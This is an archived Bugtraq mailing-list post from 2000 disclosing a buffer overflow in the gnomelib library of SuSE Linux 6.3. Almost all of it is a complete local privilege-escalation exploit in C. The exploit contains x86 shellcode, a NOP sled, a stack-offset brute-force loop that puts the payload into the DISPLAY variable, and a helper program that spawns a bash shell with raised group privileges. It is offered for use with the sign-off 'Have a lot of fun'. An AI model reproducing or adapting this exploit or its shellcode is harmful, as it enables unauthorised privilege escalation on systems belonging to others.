5052936 2000-05-01 06:55 /91 rader/ Postmaster Mottagare: Bugtraq (import) <10683> Ärende: SuSE 6.3 Gnomelib buffer overflow ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM Content-Type: text/plain MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <00042902575201.09597@wintermute-pub> Date: Sat, 29 Apr 2000 02:56:45 +0200 Reply-To: bladi <bladi@EUSKALNET.NET> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: bladi <bladi@EUSKALNET.NET> X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM /* Gnomelib exploit by bladi & aLmUDeNa All gnome apps have an exploitable buffer overflow (gnomelib) when get DISPLAY environment variable. Affected: S.u.S.E Linux: 6.3 Not vulnerable: RedHat 6.x Linpus Linux release 6.3 Debian NoTe: don't forget to put 6M in /tmp ---------(6M.c)--------- void main() { setuid(geteuid()); setregid(getegid(), getegid()); system("/bin/bash"); } ---------(6M.c)--------- Bueno un saludo a todos los que nos conocen/quieren/odian, bueno ya llevamos 6 meses y esperamos que dure mucho mas ;* bladi@euskalnet.net almudena@hempcultivation.com */ #include <stdio.h> #include <stdlib.h> #define NOP 0x90 #define RANFROM -1400 #define RANTO -300 int i,x; char *ptr; unsigned long *ptr2; char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M"; char buffer[164]; main(int argc, char *argv[]) { long get_sp(void) { __asm__("movl %esp,%eax\n"); } printf (" jpuff ver: 1.0 \n"); printf (" by \n"); printf (" bladi & aLmUDeNa\n\n"); if (argc < 2 ) { printf(" Usage ./jpuff <gnome app>\n"); printf(" Try: ./jpuff /opt/gnome/bin/sol => you gain gid=40(game)\n"); exit(1); } for (x=RANFROM;x<RANTO;x=13+x) { for(i=0;i<164;i++) buffer[i]=0x00; ptr=buffer; for(i=0;i<22;i++) *(ptr++)=NOP; for(i=0;i<strlen(execshell);i++) *(ptr++)=execshell[i]; ptr2=(long *)ptr; for(i=0;i<20;i++) *(ptr2++)=get_sp()+x; setenv("DISPLAY",buffer,1); system(argv[1]); } printf("\n- --( ExPLoIT DoNE )-- -\n"); printf("Have a lot of fun... ;*\n\n"); return 0; } (5052936) ------------------------------------------